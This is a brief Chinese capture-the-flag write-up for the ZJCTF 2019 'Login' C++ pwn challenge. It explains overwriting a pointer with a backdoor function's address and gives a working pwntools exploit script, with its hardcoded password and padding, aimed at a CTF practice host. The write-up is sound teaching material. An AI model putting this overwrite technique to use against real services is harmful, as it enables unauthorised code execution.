[ZJCTF 2019]Login(c++)

这题有点难度(我根本找不到漏洞,如果没有看wp,嘻嘻)

  1. 直接看漏洞所在地

    1

  2. 所以我们只要把rax的值改成backdoor函数就可以了

  3. 可以看到给rax赋值的是var_18

    2

  4. 算一下偏移

    3

​ 还要减去密码的长度 0x48 - 0x0f = 0x3a

  1. exp

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    r = remote('node5.buuoj.cn',25722)
    backdoor = 0x400e88
    r.sendlineafter(': ','admin')
    payload = b'2jctf_pa5sw0rd'+ b'\x00'*0x3a + p64(backdoor)
    r.sendlineafter(': ',payload)
    r.interactive()